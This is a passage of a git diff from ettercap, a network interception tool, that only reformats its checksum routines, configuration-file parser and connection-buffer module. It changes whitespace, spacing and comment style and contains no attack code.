you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,12 +31,11 @@ static u_int16 v6_checksum(struct packet_object *po); /*******************************************/ - static u_int16 sum(u_int8 *buf, size_t len) { /* create union for type punning - elements named as their rep. type */ union { - u_int8 u_int8 [4]; + u_int8 u_int8[4]; u_int16 u_int16[2]; u_int32 u_int32; } u; @@ -48,9 +47,8 @@ static u_int16 sum(u_int8 *buf, size_t len) #endif register unsigned int nleft = len; - #if OS_SIZEOF_P == 8 - while(nleft >= sizeof(u_int32)) { + while (nleft >= sizeof(u_int32)) { /* assigning bytes from buffer to union for 64-bit systems */ u.u_int8[0] = cbuf[0]; u.u_int8[1] = cbuf[1]; @@ -63,7 +61,7 @@ static u_int16 sum(u_int8 *buf, size_t len) } #endif - while(nleft >= sizeof(u_int16)) { + while (nleft >= sizeof(u_int16)) { /* assigning bytes from buffer to union for 32-bit systems */ u.u_int8[0] = cbuf[0]; u.u_int8[1] = cbuf[1]; @@ -73,7 +71,7 @@ static u_int16 sum(u_int8 *buf, size_t len) nleft -= sizeof(u_int16); } - if(nleft) { + if (nleft) { /* one word left */ u.u_int8[0] = cbuf[0]; u.u_int8[1] = 0; @@ -101,7 +99,7 @@ static u_int16 sum(u_int8 *buf, size_t len) u_int16 L3_checksum(u_char *buf, size_t len) { u_int16 csum; - csum = sum((u_int8 *) buf, len); + csum = sum((u_int8 *)buf, len); return (u_int16)(~csum); } @@ -112,10 +110,10 @@ u_int16 L3_checksum(u_char *buf, size_t len) u_int16 L4_checksum(struct packet_object *po) { - switch(ntohs(po->L3.proto)) { - case LL_TYPE_IP: return v4_checksum(po); - case LL_TYPE_IP6: return v6_checksum(po); - default: break; + switch (ntohs(po->L3.proto)) { + case LL_TYPE_IP: return v4_checksum(po); + case LL_TYPE_IP6: return v6_checksum(po); + default: break; } return 0; @@ -139,7 +137,7 @@ static u_int16 v4_checksum(struct packet_object *po) csum = (csum >> 16) + (csum & 0xffff); csum += (csum >> 16); - + return (u_int16)(~csum); } @@ -150,9 +148,9 @@ static u_int16 v6_checksum(struct packet_object *po) u_int32 csum; csum = sum(buf, plen); - - csum += sum((uint8_t*)&po->L3.src.addr, ntohs(po->L3.src.addr_len)); - csum += sum((uint8_t*)&po->L3.dst.addr, ntohs(po->L3.dst.addr_len)); + + csum += sum((uint8_t *)&po->L3.src.addr, ntohs(po->L3.src.addr_len)); + csum += sum((uint8_t *)&po->L3.dst.addr, ntohs(po->L3.dst.addr_len)); csum += htons(plen + po->L4.proto); csum = (csum & 0xffff) + (csum >> 16); @@ -167,50 +165,50 @@ static u_int16 v6_checksum(struct packet_object *po) u_int32 CRC_checksum(u_char *buf, size_t len, u_int32 init) { - static unsigned long crc_32_tab[] = { - 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, - 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, - 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, - 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, - 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, - 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, - 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, - 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, - 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, - 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, - 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, - 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, - 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, - 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, - 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, - 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, - 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, - 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, - 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, - 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, - 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, - 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, - 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, - 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, - 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, - 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, - 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, - 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, - 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, - 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, - 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, - 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d - }; - - u_int32 crc; - size_t i; - - crc = init; - - for(i = 0; i < len; i++) - crc = crc_32_tab[(crc ^ buf[i]) & 0xff] ^ (crc>>8); - - return crc; + static unsigned long crc_32_tab[] = { + 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, + 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, + 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, + 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, + 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, + 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, + 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, + 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, + 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, + 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, + 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, + 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, + 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, + 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, + 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, + 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, + 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, + 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, + 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, + 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, + 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, + 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, + 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, + 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, + 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, + 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, + 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, + 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, + 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, + 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, + 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, + 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d + }; + + u_int32 crc; + size_t i; + + crc = init; + + for (i = 0; i < len; i++) + crc = crc_32_tab[(crc ^ buf[i]) & 0xff] ^ (crc >> 8); + + return crc; } /* stolen from wireshark source code (in_cksum.c) */ @@ -223,51 +221,49 @@ u_int32 CRC_checksum(u_char *buf, size_t len, u_int32 init) */ u_int16 checksum_shouldbe(u_int16 csum, u_int16 computed_sum) { - u_int32 shouldbe; - - /* - * The value that should have gone into the checksum field - * is the negative of the value gotten by summing up everything - * *but* the checksum field. - * - * We can compute that by subtracting the value of the checksum - * field from the sum of all the data in the packet, and then - * computing the negative of that value. - * - * "sum" is the value of the checksum field, and "computed_sum" - * is the negative of the sum of all the data in the packets, - * so that's -(-computed_sum - sum), or (sum + computed_sum). - * - * All the arithmetic in question is one's complement, so the - * addition must include an end-around carry; we do this by - * doing the arithmetic in 32 bits (with no sign-extension), - * and then adding the upper 16 bits of the sum, which contain - * the carry, to the lower 16 bits of the sum, and then do it - * again in case *that* sum produced a carry. - * - * As RFC 1071 notes, the checksum can be computed without - * byte-swapping the 16-bit words; summing 16-bit words - * on a big-endian machine gives a big-endian checksum, which - * can be directly stuffed into the big-endian checksum fields - * in protocol headers, and summing words on a little-endian - * machine gives a little-endian checksum, which must be - * byte-swapped before being stuffed into a big-endian checksum - * field. - * - * "computed_sum" is a network-byte-order value, so we must put - * it in host byte order before subtracting it from the - * host-byte-order value from the header; the adjusted checksum - * will be in host byte order, which is what we'll return. - */ - shouldbe = ntohs(csum); - shouldbe += ntohs(computed_sum); - shouldbe = (shouldbe & 0xFFFF) + (shouldbe >> 16); - shouldbe = (shouldbe & 0xFFFF) + (shouldbe >> 16); - return shouldbe; + u_int32 shouldbe; + + /* + * The value that should have gone into the checksum field + * is the negative of the value gotten by summing up everything + * *but* the checksum field. + * + * We can compute that by subtracting the value of the checksum + * field from the sum of all the data in the packet, and then + * computing the negative of that value. + * + * "sum" is the value of the checksum field, and "computed_sum" + * is the negative of the sum of all the data in the packets, + * so that's -(-computed_sum - sum), or (sum + computed_sum). + * + * All the arithmetic in question is one's complement, so the + * addition must include an end-around carry; we do this by + * doing the arithmetic in 32 bits (with no sign-extension), + * and then adding the upper 16 bits of the sum, which contain + * the carry, to the lower 16 bits of the sum, and then do it + * again in case *that* sum produced a carry. + * + * As RFC 1071 notes, the checksum can be computed without + * byte-swapping the 16-bit words; summing 16-bit words + * on a big-endian machine gives a big-endian checksum, which + * can be directly stuffed into the big-endian checksum fields + * in protocol headers, and summing words on a little-endian + * machine gives a little-endian checksum, which must be + * byte-swapped before being stuffed into a big-endian checksum + * field. + * + * "computed_sum" is a network-byte-order value, so we must put + * it in host byte order before subtracting it from the + * host-byte-order value from the header; the adjusted checksum + * will be in host byte order, which is what we'll return. + */ + shouldbe = ntohs(csum); + shouldbe += ntohs(computed_sum); + shouldbe = (shouldbe & 0xFFFF) + (shouldbe >> 16); + shouldbe = (shouldbe & 0xFFFF) + (shouldbe >> 16); + return shouldbe; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_conf.c b/src/ec_conf.c index ff0b81d8b..e24681cde 100644 --- a/src/ec_conf.c +++ b/src/ec_conf.c @@ -1,23 +1,23 @@ /* - ettercap -- configuration (etter.conf) manipulation module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- configuration (etter.conf) manipulation module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,11 +25,11 @@ #include /* globals */ - + /* used only to keep track of how many dissector are loaded */ int number_of_dissectors; int number_of_ports; - + static struct conf_entry privs[] = { { "ec_uid", NULL }, { "ec_gid", NULL }, @@ -53,7 +53,7 @@ static struct conf_entry mitm[] = { { "ndp_poison_delay", NULL }, { "ndp_poison_send_delay", NULL }, { "ndp_poison_icmp", NULL }, - { "ndp_poison_equal_mac", NULL}, + { "ndp_poison_equal_mac", NULL }, { "icmp6_probe_delay", NULL }, #endif { NULL, NULL }, @@ -126,18 +126,17 @@ static struct conf_entry dissectors[] = { }; static struct conf_section sections[] = { - { "privs", privs}, - { "mitm", mitm}, - { "connections", connections}, - { "stats", stats}, - { "misc", misc}, - { "dissectors", dissectors}, - { "curses", curses}, - { "strings", strings}, + { "privs", privs }, + { "mitm", mitm }, + { "connections", connections }, + { "stats", stats }, + { "misc", misc }, + { "dissectors", dissectors }, + { "curses", curses }, + { "strings", strings }, { NULL, NULL }, }; - /* protos */ static void init_structures(void); @@ -145,8 +144,8 @@ static void set_pointer(struct conf_entry *entry, const char *name, void *ptr); static void sanity_checks(void); static void set_dissector(char *name, char *values, int lineno); -static struct conf_entry * search_section(char *title); -static void * search_entry(struct conf_entry *section, char *name); +static struct conf_entry *search_section(char *title); +static void *search_entry(struct conf_entry *section, char *name); /************************************************/ @@ -159,9 +158,9 @@ static void * search_entry(struct conf_entry *section, char *name); static void init_structures(void) { int i = 0, j = 0; - + DEBUG_MSG("init_structures"); - + set_pointer(privs, "ec_uid", &GBL_CONF->ec_uid); set_pointer(privs, "ec_gid", &GBL_CONF->ec_gid); set_pointer(mitm, "arp_storm_delay", &GBL_CONF->arp_storm_delay); @@ -238,7 +237,7 @@ static void init_structures(void) } while (sections[++i].title != NULL); } -/* +/* * associate the pointer to a struct */ @@ -251,7 +250,6 @@ static void set_pointer(struct conf_entry *entry, const char *name, void *ptr) /* found ! set the pointer */ if (!strcmp(entry[i].name, name)) entry[i].value = ptr; - } while (entry[++i].name != NULL); } @@ -278,9 +276,9 @@ void load_conf(void) /* initialize the structures */ init_structures(); - + DEBUG_MSG("load_conf"); - + /* the user has specified an alternative config file */ if (GBL_CONF->file) { DEBUG_MSG("load_conf: alternative config: %s", GBL_CONF->file); @@ -291,78 +289,78 @@ void load_conf(void) fc = open_data("etc", ETTER_CONF, FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot open %s", ETTER_CONF); } - + /* read the file */ while (fgets(line, sizeof(line), fc) != 0) { - + /* update the line count */ lineno++; - + /* trim out the comments */ if ((p = strchr(line, '#'))) *p = '\0'; - + /* trim out the new line */ if ((p = strchr(line, '\n'))) *p = '\0'; q = line; - + /* trim the initial spaces */ while (q < line + sizeof(line) && *q == ' ') q++; - + /* skip empty lines */ if (line[0] == '\0' || *q == '\0') continue; - + /* here starts a new section [...] */ if (*q == '[') { - + /* remove the square brackets */ if ((p = strchr(line, ']'))) *p = '\0'; else FATAL_ERROR("Missing ] in %s line %d", ETTER_CONF, lineno); - + p = q + 1; - + DEBUG_MSG("load_conf: SECTION: %s", p); /* get the pointer to the right structure */ - if ( (curr_section = search_section(p)) == NULL) + if ((curr_section = search_section(p)) == NULL) FATAL_ERROR("Invalid section in %s line %d", ETTER_CONF, lineno); - + /* read the next line */ continue; } - + /* variable outside a section */ if (curr_section == NULL) FATAL_ERROR("Entry outside a section in %s line %d", ETTER_CONF, lineno); - + /* sanity check */ if (!strchr(q, '=')) FATAL_ERROR("Parse error %s line %d", ETTER_CONF, lineno); - + p = q; /* split the entry name from the value */ do { - if (*p == ' ' || *p == '='){ + if (*p == ' ' || *p == '=') { *p = '\0'; break; } - } while (p++ < line + sizeof(line) ); - + } while (p++ < line + sizeof(line)); + /* move p to the value */ p++; do { if (*p != ' ' && *p != '=') break; - } while (p++ < line + sizeof(line) ); - - /* + } while (p++ < line + sizeof(line)); + + /* * if it is the "dissector" section, * do it in a different way */ @@ -370,21 +368,21 @@ void load_conf(void) set_dissector(q, p, lineno); continue; } - + /* search the entry name */ - if ( (value = search_entry(curr_section, q)) == NULL) + if ((value = search_entry(curr_section, q)) == NULL) FATAL_ERROR("Invalid entry in %s line %d", ETTER_CONF, lineno); - + /* strings must be handled in a different way */ if (curr_section == strings) { /* trim the quotes */ if (*p == '"') p++; - - /* set the string value */ + + /* set the string value */ tmp = (char **)value; *tmp = strdup(p); - + /* trim the ending quotes */ p = *tmp; tmplen = strlen(*tmp); @@ -393,11 +391,11 @@ void load_conf(void) *p = 0; break; } - } while (p++ < *tmp + tmplen ); - + } while (p++ < *tmp + tmplen); + DEBUG_MSG("load_conf: \tENTRY: %s [%s]", q, *tmp); } else { - /* set the integer value */ + /* set the integer value */ *(int *)value = strtol(p, (char **)NULL, 10); DEBUG_MSG("load_conf: \tENTRY: %s %d", q, *(int *)value); } @@ -407,45 +405,43 @@ void load_conf(void) fclose(fc); } -/* +/* * returns the pointer to the struct * named "title" */ -static struct conf_entry * search_section(char *title) +static struct conf_entry *search_section(char *title) { int i = 0; - + do { - /* the section was found */ + /* the section was found */ if (!strcasecmp(sections[i].title, title)) return sections[i].entries; - } while (sections[++i].title != NULL); return NULL; } -/* +/* * returns the pointer to the value * named "name" of the sections "section" */ -static void * search_entry(struct conf_entry *section, char *name) +static void *search_entry(struct conf_entry *section, char *name) { int i = 0; - + do { - /* the section was found */ + /* the section was found */ if (!strcasecmp(section[i].name, name)) return section[i].value; - } while (section[++i].name != NULL); return NULL; } /* - * handle the special case of dissectors + * handle the special case of dissectors */ static void set_dissector(char *name, char *values, int lineno) { @@ -456,12 +452,12 @@ static void set_dissector(char *name, char *values, int lineno) /* remove trailing spaces */ if ((p = strchr(values, ' ')) != NULL) *p = '\0'; - + /* expand multiple ports dissectors */ - for(p=strsep(&values, ","); p != NULL; p=strsep(&values, ",")) { + for (p = strsep(&values, ","); p != NULL; p = strsep(&values, ",")) { /* get the value for the port */ value = atoi(p); - //DEBUG_MSG("load_conf: \tDISSECTOR: %s\t%d", name, value); + // DEBUG_MSG("load_conf: \tDISSECTOR: %s\t%d", name, value); /* count the dissectors and the port monitored */ if (value) { @@ -471,7 +467,7 @@ static void set_dissector(char *name, char *values, int lineno) first = 1; } } - + /* the first value replaces all the previous */ if (p == q) { if (dissect_modify(MODE_REP, name, value) != E_SUCCESS) @@ -481,22 +477,18 @@ static void set_dissector(char *name, char *values, int lineno) if (dissect_modify(MODE_ADD, name, value) != E_SUCCESS) fprintf(stderr, "Dissector \"%s\" not supported (%s line %d)\n", name, ETTER_CONF, lineno); } - } - } - /* - * print the number of dissectors loaded + * print the number of dissectors loaded */ void conf_dissectors(void) { - USER_MSG("%4d protocol dissectors\n", number_of_dissectors); - USER_MSG("%4d ports monitored\n", number_of_ports); + USER_MSG("%4d protocol dissectors\n", number_of_dissectors); + USER_MSG("%4d ports monitored\n", number_of_ports); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_connbuf.c b/src/ec_connbuf.c index dbea821b1..1b3329a83 100644 --- a/src/ec_connbuf.c +++ b/src/ec_connbuf.c @@ -1,23 +1,23 @@ /* - ettercap -- connection buffer module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- connection buffer module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,9 +25,9 @@ /* mutexes */ -#define CONNBUF_INIT_LOCK(x) do{ pthread_mutex_init(&x, NULL); }while(0) -#define CONNBUF_LOCK(x) do{ pthread_mutex_lock(&x); }while(0) -#define CONNBUF_UNLOCK(x) do{ pthread_mutex_unlock(&x); }while(0) +#define CONNBUF_INIT_LOCK(x) do { pthread_mutex_init(&x, NULL); } while (0) +#define CONNBUF_LOCK(x) do { pthread_mutex_lock(&x); } while (0) +#define CONNBUF_UNLOCK(x) do { pthread_mutex_unlock(&x); } while (0) /************************************************/ @@ -37,7 +37,7 @@ void connbuf_init(struct conn_buf *cb, size_t size) { DEBUG_MSG("connbuf_init"); - + /* init the size */ cb->size = 0; cb->max_size = size; @@ -47,10 +47,10 @@ void connbuf_init(struct conn_buf *cb, size_t size) CONNBUF_INIT_LOCK(cb->connbuf_mutex); } -/* +/* * add the packet to the conn_buf. * check if the buffer has reached the max size - * and in case delete the oldest elements to + * and in case delete the oldest elements to * fit the predefined size. * * the tail has the newer packet in the head and @@ -62,46 +62,46 @@ int connbuf_add(struct conn_buf *cb, struct packet_object *po) struct conn_pck_list *e; SAFE_CALLOC(p, 1, sizeof(struct conn_pck_list)); - - /* + + /* * we add the sizeof because if the packets have 0 length * (ack packets) the real memory occupation will overflow * the max_size */ p->size = sizeof(struct conn_pck_list) + po->DATA.disp_len; - + memcpy(&p->L3_src, &po->L3.src, sizeof(struct ip_addr)); - /* + /* * we cant handle the packet, the buffer * is too small */ if (p->size > cb->max_size) { - DEBUG_MSG("connbuf_add: buffer too small %d %d\n", (int)cb->max_size, (int)p->size); + DEBUG_MSG("connbuf_add: buffer too small %d %d\n", (int)cb->max_size, (int)p->size); SAFE_FREE(p); return 0; } - + /* copy the buffer */ SAFE_CALLOC(p->buf, po->DATA.disp_len, sizeof(u_char)); - + memcpy(p->buf, po->DATA.disp_data, po->DATA.disp_len); CONNBUF_LOCK(cb->connbuf_mutex); - - /* - * check the total size and make adjustment + + /* + * check the total size and make adjustment * if we have to free some packets */ if (cb->size + p->size > cb->max_size) { struct conn_pck_list *tmp = NULL; - + TAILQ_FOREACH_REVERSE_SAFE(e, &cb->connbuf_tail, next, connbuf_head, tmp) { - + /* we have freed enough bytes */ if (cb->size + p->size <= cb->max_size) break; - + /* calculate the new size */ cb->size -= e->size; /* remove the elemnt */ @@ -110,10 +110,10 @@ int connbuf_add(struct conn_buf *cb, struct packet_object *po) SAFE_FREE(e); } } - + /* insert the packet in the tail */ TAILQ_INSERT_HEAD(&cb->connbuf_tail, p, next); - + /* update the total buffer size */ cb->size += p->size; @@ -131,9 +131,9 @@ void connbuf_wipe(struct conn_buf *cb) struct conn_pck_list *e; DEBUG_MSG("connbuf_wipe"); - + CONNBUF_LOCK(cb->connbuf_mutex); - + /* delete the list */ while ((e = TAILQ_FIRST(&cb->connbuf_tail)) != TAILQ_END(&cb->connbuf_tail)) { TAILQ_REMOVE(&cb->connbuf_tail, e, next); @@ -144,14 +144,14 @@ void connbuf_wipe(struct conn_buf *cb) /* reset the buffer */ cb->size = 0; TAILQ_INIT(&cb->connbuf_tail); - + CONNBUF_UNLOCK(cb->connbuf_mutex); } -/* +/* * print the content of a buffer * you can print only one side of the communication - * by specifying the L3_src address, or NULL to + * by specifying the L3_src address, or NULL to * print all the packet in order (joined view). * * returns the number of printed chars @@ -160,25 +160,24 @@ int connbuf_print(struct conn_buf *cb, void (*func)(u_char *, size_t, struct ip_ { struct conn_pck_list *e; int n = 0; - + CONNBUF_LOCK(cb->connbuf_mutex); - + /* print the buffer */ TAILQ_FOREACH_REVERSE(e, &cb->connbuf_tail, next, connbuf_head) { - /* + /* * remember that the size is comprehensive * of the struct size */ func(e->buf, e->size - sizeof(struct conn_pck_list), &e->L3_src); n += e->size - sizeof(struct conn_pck_list); } - + 